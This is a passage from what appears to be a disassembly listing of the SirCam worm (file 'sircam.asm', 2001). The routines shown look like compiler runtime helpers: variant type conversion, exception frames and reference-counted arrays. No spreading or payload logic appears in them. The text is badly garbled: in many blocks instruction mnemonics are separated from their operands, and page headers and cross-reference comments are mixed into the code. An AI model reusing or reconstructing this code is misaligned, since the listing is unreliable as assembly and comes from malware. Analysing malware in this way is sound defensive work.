lea
edi, [ebp+var_10]
push
ecx
mov
ecx, 4
repe movsd
pop
ecx
mov
esi, ecx
mov
ebx, eax
lea
eax, [ebp+var_10]
call
sub_4043C0
xor
eax, eax
push
ebp
push
offset loc_40416C
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
lea
call
lea
mov
mov
call
xor
pop
pop
pop
mov
push
loc_404163:
sub_404110
107
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_10]
ds:dword_41E3E4
edx, [ebp+var_10]
eax, ebx
ecx, esi
sub_404194
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_404173
; CODE XREF: CODE:00404171\031j
lea
eax, [ebp+var_10]
call
sub_4043B8
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40416C:
; DATA XREF: sub_404110+26\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_404163
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404173:
; DATA XREF: sub_404110+4E\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40417C
proc near
push
xor
cmp
jnz
call
mov
ebx
ebx, ebx
word ptr [edx], 101h
short loc_40418D
sub_404110
bl, 1
mov
pop
retn
endp
eax, ebx
ebx
loc_40418D:
sub_40417C
; CODE XREF: sub_404194+25\031p
; sub_404194+7C\031p
; CODE XREF: sub_40417C+8\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404194
proc near
var_10
var_8
var_4
= dword ptr -10h
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_404110+41\030p
; sub_404288+5E\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
108
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF0h
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
mov
ax, [ebx]
sub
ax, 100h
jz
short loc_4041B3
dec
ax
jz
short loc_4041FD
jmp
short loc_40420A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4041B3:
mov
mov
mov
call
test
jnz
mov
push
push
push
push
lea
push
call
test
jz
call
; CODE XREF: sub_404194+16\030j
edx, esi
eax, ebx
ecx, edi
sub_40417C
al, al
short loc_404231
word ptr [ebp+var_10], 0
edi
0
400h
esi
eax, [ebp+var_10]
eax
j_VariantChangeTypeEx
eax, eax
short loc_4041E3
sub_404020
loc_4041E3:
; CODE XREF: sub_404194+48\030j
mov
eax, ebx
call
sub_404030
mov
eax, [ebp+var_10]
mov
[ebx], eax
mov
eax, [ebp+var_8]
mov
[ebx+8], eax
mov
eax, [ebp+var_4]
mov
[ebx+0Ch], eax
jmp
short loc_404231
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4041FD:
; CODE XREF: sub_404194+1B\030j
mov
edx, esi
mov
eax, ebx
mov
ecx, edi
call
sub_404110
jmp
short loc_404231
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40420A:
mov
mov
mov
call
test
jnz
push
push
push
push
push
call
; CODE XREF: sub_404194+1D\030j
edx, esi
eax, ebx
ecx, edi
sub_40417C
al, al
short loc_404231
edi
0
400h
esi
ebx
j_VariantChangeTypeEx
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
call
eax, eax
short loc_404231
sub_404020
loc_404231:
sub_404194
109
; CODE XREF: sub_404194+2C\030j
; sub_404194+67\030j ...
pop
pop
pop
mov
pop
retn
endp
edi
esi
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404238
proc near
var_4
= dword ptr -4
sub_404238
push
mov
push
push
mov
xor
mov
mov
lea
call
mov
call
mov
mov
mov
pop
pop
pop
retn
endp
; CODE XREF: sub_404288+96\031p
; sub_404288+C3\031p
ebp
ebp, esp
ecx
ebx
ebx, eax
eax, eax
[ebp+var_4], eax
eax, [edx+8]
edx, [ebp+var_4]
sub_403F78
eax, ebx
sub_404030
word ptr [ebx], 100h
eax, [ebp+var_4]
[ebx+8], eax
ebx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404268
proc near
sub_404268
push
push
mov
mov
call
mov
mov
call
mov
mov
pop
pop
retn
endp
; CODE XREF: sub_404288+30\031p
; sub_404288+43\031p
ebx
esi
ebx, eax
eax, [edx+8]
sub_403F9C
esi, eax
eax, ebx
sub_404030
word ptr [ebx], 8
[ebx+8], esi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
110
; Attributes: bp-based frame
sub_404288
proc near
var_14
var_10
= dword ptr -14h
= word ptr -10h
; CODE XREF: sub_40437C+22\031p
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFECh
push
ebx
mov
[ebp+var_14], eax
mov
ax, [edx]
mov
ebx, ecx
cmp
bx, ax
jnz
short loc_4042A9
mov
eax, [ebp+var_14]
call
sub_404074
jmp
loc_404377
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4042A9:
; CODE XREF: sub_404288+12\030j
cmp
ax, 100h
jnz
short loc_404308
cmp
bx, 8
jnz
short loc_4042C2
mov
eax, [ebp+var_14]
call
sub_404268
jmp
loc_404377
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4042C2:
mov
lea
call
xor
push
push
push
mov
lea
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_404288+2B\030j
[ebp+var_10], 0
eax, [ebp+var_10]
sub_404268
eax, eax
ebp
offset loc_404301
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_10]
eax, [ebp+var_14]
ecx, ebx
sub_404194
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_404377
loc_4042F8:
; CODE XREF: sub_404288+7E\031j
lea
eax, [ebp+var_10]
call
sub_404030
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404301:
; DATA XREF: sub_404288+4B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4042F8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404308:
; CODE XREF: sub_404288+25\030j
cmp
jnz
cmp
jz
cmp
bx, 100h
short loc_40436D
ax, 101h
short loc_40436D
ax, 8
sircam.asm
Fri Aug 10 12:42:44 2001
111
jnz
short loc_404325
mov
eax, [ebp+var_14]
call
sub_404238
jmp
short loc_404377
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404325:
mov
lea
mov
call
xor
push
push
push
mov
lea
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_404288+91\030j
[ebp+var_10], 0
eax, [ebp+var_10]
cx, 8
sub_404194
eax, eax
ebp
offset loc_404366
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_10]
eax, [ebp+var_14]
sub_404238
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_404377
loc_40435D:
; CODE XREF: sub_404288+E3\031j
lea
eax, [ebp+var_10]
call
sub_404030
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404366:
; DATA XREF: sub_404288+B2\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40435D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40436D:
mov
mov
call
; CODE XREF: sub_404288+85\030j
; sub_404288+8B\030j
eax, [ebp+var_14]
ecx, ebx
sub_404194
loc_404377:
sub_404288
; CODE XREF: sub_404288+1C\030j
; sub_404288+35\030j ...
pop
mov
pop
retn
endp
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40437C
proc near
var_14
var_C
= word ptr -14h
= dword ptr -0Ch
; CODE XREF: sub_4076E0+A\031p
cmp
word ptr [edx], 100h
jnz
short loc_40438B
mov
edx, [edx+8]
jmp
sub_40351C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40438B:
; CODE XREF: sub_40437C+5\030j
push
mov
ebx
ebx, eax
sircam.asm
sub_40437C
Fri Aug 10 12:42:44 2001
sub
mov
mov
mov
call
mov
call
mov
mov
add
pop
retn
endp
112
esp, 10h
[esp+14h+var_14], 0
eax, esp
ecx, 100h
sub_404288
eax, ebx
sub_4034C8
eax, [esp+14h+var_C]
[ebx], eax
esp, 10h
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4043B8
proc near
sub_4043B8
push
call
pop
retn
endp
; CODE XREF: sub_403BE8+86\030p
; sub_404110+56\030p ...
eax
sub_404030
eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4043C0
proc near
; CODE XREF: sub_404110+1E\030p
cmp
word ptr [eax], 8
jb
short locret_4043E0
push
dword ptr [eax+0Ch]
push
dword ptr [eax+8]
push
dword ptr [eax+4]
push
dword ptr [eax]
mov
word ptr [eax], 0
mov
edx, esp
call
sub_404074
add
esp, 10h
locret_4043E0:
sub_4043C0
; CODE XREF: sub_4043C0+4\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4043E4
proc near
; CODE XREF: sub_4043EC\031p
test
eax, eax
jz
short locret_4043EB
mov
eax, [eax-4]
locret_4043EB:
sub_4043E4
; CODE XREF: sub_4043E4+2\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4043EC
proc near
call
sub_4043E4
dec
eax
; CODE XREF: sub_40A564+11\031p
sircam.asm
sub_4043EC
Fri Aug 10 12:42:44 2001
113
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4043F4
proc near
arg_0
= dword ptr
sub_4043F4
push
mov
push
call
pop
retn
endp
; CODE XREF: sub_404414+104\031p
8
ebp
ebp, esp
[ebp+arg_0]
sub_403DF8
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_404404
sub_404404
proc near
jmp
sub_403BE8
endp
; CODE XREF: sub_404414+AE\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40440C
sub_40440C
proc near
call
sub_4045AC
retn
endp
; CODE XREF: sub_404414+2F\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_404414
proc near
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
arg_0
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
push
mov
add
push
push
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_404414+171\031p
; sub_4045A0+5\031p
-20h
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
8
ebp
ebp, esp
esp, 0FFFFFFE0h
ebx
esi
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
mov
mov
mov
mov
mov
mov
test
jg
test
jge
mov
call
114
edi
[ebp+var_8], ecx
esi, edx
[ebp+var_4], eax
ebx, [ebp+var_4]
ebx, [ebx]
eax, [ebp+arg_0]
edi, [eax]
edi, edi
short loc_40444D
edi, edi
short loc_40443E
al, 4
sub_402618
loc_40443E:
; CODE XREF: sub_404414+21\030j
mov
eax, [ebp+var_4]
mov
edx, esi
call
sub_40440C
jmp
loc_404595
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40444D:
xor
mov
test
jz
sub
mov
mov
sub
; CODE XREF: sub_404414+1D\030j
eax, eax
[ebp+var_10], eax
ebx, ebx
short loc_404461
ebx, 4
eax, [ebx]
[ebp+var_10], eax
ebx, 4
loc_404461:
; CODE XREF: sub_404414+40\030j
xor
eax, eax
mov
al, [esi+1]
add
esi, eax
mov
eax, [esi+2]
mov
[ebp+var_18], eax
mov
eax, [esi+6]
test
eax, eax
jz
short loc_404479
mov
esi, [eax]
jmp
short loc_40447B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_404479:
; CODE XREF: sub_404414+5F\030j
xor
loc_40447B:
mov
imul
mov
mov
cdq
idiv
cmp
jz
mov
call
loc_404495:
esi, esi
; CODE XREF: sub_404414+63\030j
eax, edi
[ebp+var_18]
[ebp+var_1C], eax
eax, [ebp+var_1C]
edi
eax, [ebp+var_18]
short loc_404495
al, 4
sub_402618
add
test
jz
cmp
jnz
; CODE XREF: sub_404414+78\030j
[ebp+var_1C], 8
ebx, ebx
short loc_4044A2
dword ptr [ebx], 1
short loc_4044D7
mov
cmp
; CODE XREF: sub_404414+87\030j
[ebp+var_20], ebx
edi, [ebp+var_10]
loc_4044A2:
sircam.asm
Fri Aug 10 12:42:44 2001
jge
test
jz
mov
add
mov
imul
add
mov
sub
mov
call
115
short loc_4044C7
esi, esi
short loc_4044C7
eax, ebx
eax, 8
edx, edi
edx, [ebp+var_18]
eax, edx
ecx, [ebp+var_10]
ecx, edi
edx, esi
sub_404404
loc_4044C7:
; CODE XREF: sub_404414+94\030j
; sub_404414+98\030j
lea
eax, [ebp+var_20]
mov
edx, [ebp+var_1C]
call
sub_4025C8
mov
ebx, [ebp+var_20]
jmp
short loc_404535
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4044D7:
dec
mov
call
mov
mov
mov
cmp
jge
mov
; CODE XREF: sub_404414+8C\030j
dword ptr [ebx]
eax, [ebp+var_1C]
sub_402598
ebx, eax
eax, [ebp+var_10]
[ebp+var_14], eax
edi, [ebp+var_14]
short loc_4044F1
[ebp+var_14], edi
loc_4044F1:
; CODE XREF: sub_404414+D8\030j
test
esi, esi
jz
short loc_40451F
mov
edx, [ebp+var_14]
imul
edx, [ebp+var_18]
mov
eax, ebx
add
eax, 8
xor
ecx, ecx
call
sub_4028D4
mov
eax, [ebp+var_14]
push
eax
mov
edx, [ebp+var_4]
mov
edx, [edx]
mov
eax, ebx
add
eax, 8
mov
ecx, esi
call
sub_4043F4
jmp
short loc_404535
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40451F:
mov
imul
mov
add
mov
mov
call
; CODE XREF: sub_404414+DF\030j
ecx, [ebp+var_14]
ecx, [ebp+var_18]
edx, ebx
edx, 8
eax, [ebp+var_4]
eax, [eax]
sub_4026B0
mov
add
mov
add
mov
sub
; CODE XREF: sub_404414+C1\030j
; sub_404414+109\030j
dword ptr [ebx], 1
ebx, 4
[ebx], edi
ebx, 4
edx, edi
edx, [ebp+var_10]
loc_404535:
sircam.asm
Fri Aug 10 12:42:44 2001
imul
mov
imul
add
xor
call
cmp
jle
add
dec
dec
test
jl
inc
mov
edx, [ebp+var_18]
eax, [ebp+var_18]
eax, [ebp+var_10]
eax, ebx
ecx, ecx
sub_4028D4
[ebp+var_8], 1
short loc_404590
[ebp+arg_0], 4
[ebp+var_8]
edi
edi, edi
short loc_404590
edi
[ebp+var_C], 0
mov
push
mov
lea
mov
mov
call
inc
dec
jnz
eax, [ebp+arg_0]
eax
eax, [ebp+var_C]
eax, [ebx+eax*4]
ecx, [ebp+var_8]
edx, esi
sub_404414
[ebp+var_C]
edi
short loc_404576
loc_404576:
; CODE XREF: sub_404414+17A\031j
loc_404590:
; CODE XREF: sub_404414+14C\030j
; sub_404414+158\030j
mov
mov
eax, [ebp+var_4]
[eax], ebx
pop
pop
pop
mov
pop
retn
endp
edi
esi
ebx
esp, ebp
ebp
4
loc_404595:
sub_404414
116
; CODE XREF: sub_404414+34\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4045A0
proc near
sub_4045A0
push
add
call
retn
endp
; CODE XREF: sub_40A4BC+44\031p
; sub_417F24+77\031p ...
esp
dword ptr [esp+0], 4
sub_404414
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4045AC
proc near
; CODE XREF: sub_403BE8+DA\030p
; sub_40440C\030p ...
mov
ecx, [eax]
test
ecx, ecx
jz
short locret_4045E5
mov
dword ptr [eax], 0
lock dec
dword ptr [ecx-8]
jnz
short locret_4045E5
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
xor
mov
mov
test
jz
mov
test
jz
mov
call
eax
eax, ecx
ecx, ecx
cl, [edx+1]
edx, [edx+ecx+6]
edx, edx
short loc_4045DC
ecx, [eax-4]
ecx, ecx
short loc_4045DC
edx, [edx]
sub_403BE8
loc_4045DC:
; CODE XREF: sub_4045AC+20\030j
; sub_4045AC+27\030j
sub
call
pop
eax, 8
sub_4025B0
eax
locret_4045E5:
sub_4045AC
117
; CODE XREF: sub_4045AC+4\030j
; sub_4045AC+10\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4045E8
proc near
; CODE XREF: sub_403CDC+EF\030p
; sub_403DF8+DD\030p
push
ebx
mov
ebx, [eax]
test
edx, edx
jz
short loc_4045F3
lock inc
dword ptr [edx-8]
loc_4045F3:
; CODE XREF: sub_4045E8+5\030j
test
ebx, ebx
jz
short loc_40460B
lock dec
dword ptr [ebx-8]
jnz
short loc_40460B
push
eax
push
edx
mov
edx, ecx
inc
dword ptr [ebx-8]
call
sub_4045AC
pop
edx
pop
eax
loc_40460B:
; CODE XREF: sub_4045E8+D\030j
; sub_4045E8+13\030j
sub_4045E8
mov
pop
retn
endp
[eax], edx
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
